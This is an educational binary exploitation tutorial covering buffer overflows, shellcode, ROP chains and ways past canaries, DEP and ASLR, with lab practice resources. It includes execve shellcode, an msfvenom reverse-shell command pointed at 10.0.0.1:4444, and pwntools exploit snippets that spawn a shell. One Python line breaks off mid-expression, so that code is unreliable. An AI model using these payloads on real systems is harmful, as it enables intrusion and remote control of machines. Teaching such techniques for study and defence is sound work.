Key Takeaways
- Stack overflow overwrites return addresses
- DEP/NX prevents code execution on stack
- ROP chains bypass DEP using existing code
- ASLR bypass requires information leak
Contents
1. Buffer Overflow Fundamentals
A buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. This can corrupt data, crash the program, or allow arbitrary code execution.
// Vulnerable C code
char buffer[64];
gets(buffer); // No bounds checking!
// If input > 64 bytes, overflow occurs
// Stack layout:
// [buffer 64 bytes][saved EBP][return address]
// Overflow can overwrite return address → control EIP
2. Stack-Based Buffer Overflow
Classic Stack Overflow
# Find offset to EIP
msf-pattern_create -l 200
# Send pattern, note EIP value
msf-pattern_offset -q 0x41326341
# Python exploit skeleton
import struct
offset = 76 # Found with pattern
eip = struct.pack("
Shellcode Development
; Linux x86 execve("/bin/sh")
xor eax, eax
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
# Generate with msfvenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python -b '\x00'
3. Heap Exploitation
// Heap overflow - corrupt adjacent chunk metadata
char *a = malloc(128);
char *b = malloc(128);
// Overflow a → corrupt b's metadata
strcpy(a, user_input); // If > 128 bytes, overflows into b
// Modern heap exploits:
// - Use-After-Free (UAF)
// - Double Free
// - Heap spraying
// - tcache poisoning (glibc 2.26+)
4. Modern Mitigations
Stack Canaries
Random value before return address. If modified, program aborts.
# Bypass: Info leak to read canary value, or brute force (fork servers)
DEP/NX (Data Execution Prevention)
Marks stack/heap as non-executable.
# Bypass: ROP chains (use existing code gadgets)
ASLR (Address Space Layout Randomization)
Randomizes memory addresses on each execution.
# Bypass: Info leak, brute force (32-bit), ret2plt
5. Return-Oriented Programming
# ROP chains - chain together "gadgets" ending in ret
# Gadget: pop rdi; ret
# Gadget: system()
# Using pwntools
from pwn import *
elf = ELF("./vulnerable")
rop = ROP(elf)
# Build chain to call system("/bin/sh")
rop.raw(pop_rdi_gadget)
rop.raw(next(elf.search(b"/bin/sh")))
rop.raw(elf.symbols['system'])
payload = b"A" * offset + rop.chain()
Finding Gadgets
# ROPgadget
ROPgadget --binary ./vuln | grep "pop rdi"
# ropper
ropper -f ./vuln --search "pop rdi"
# Common gadgets needed:
# pop rdi; ret - First argument
# pop rsi; ret - Second argument
# pop rdx; ret - Third argument
# ret - Stack alignment
6. ASLR Bypass Techniques
- Information leak: Format string, OOB read
- Partial overwrite: Overwrite only last 12 bits
- ret2plt: PLT addresses are relative
- Brute force: 32-bit has limited entropy
- JIT spray: JavaScript heap spraying
7. Exploitation Tools
- pwntools: Python exploitation library
- GDB + gef/pwndbg: Debugging with exploitation features
- ROPgadget/ropper: Find ROP gadgets
- checksec: Check binary protections
- one_gadget: Find one-shot RCE gadgets in libc
# Check binary protections
checksec --file=./vulnerable
# RELRO, Stack Canary, NX, PIE, RPATH, RUNPATH
# pwntools example
from pwn import *
p = process('./vulnerable')
# or p = remote('host', port)
payload = b"A" * offset + p64(rop_chain)
p.sendline(payload)
p.interactive()
8. Practice Resources
- pwnable.kr: Online wargames
- ROP Emporium: ROP-focused challenges
- Exploit Education: Phoenix, Protostar
- HackTheBox: Binary exploitation challenges
- Nightmare: CTF-style binary exploitation
FAQ
Are buffer overflows still relevant?
Yes! While mitigations make them harder, they're still exploited. Memory-unsafe languages (C/C++) are everywhere in systems code, browsers, and IoT.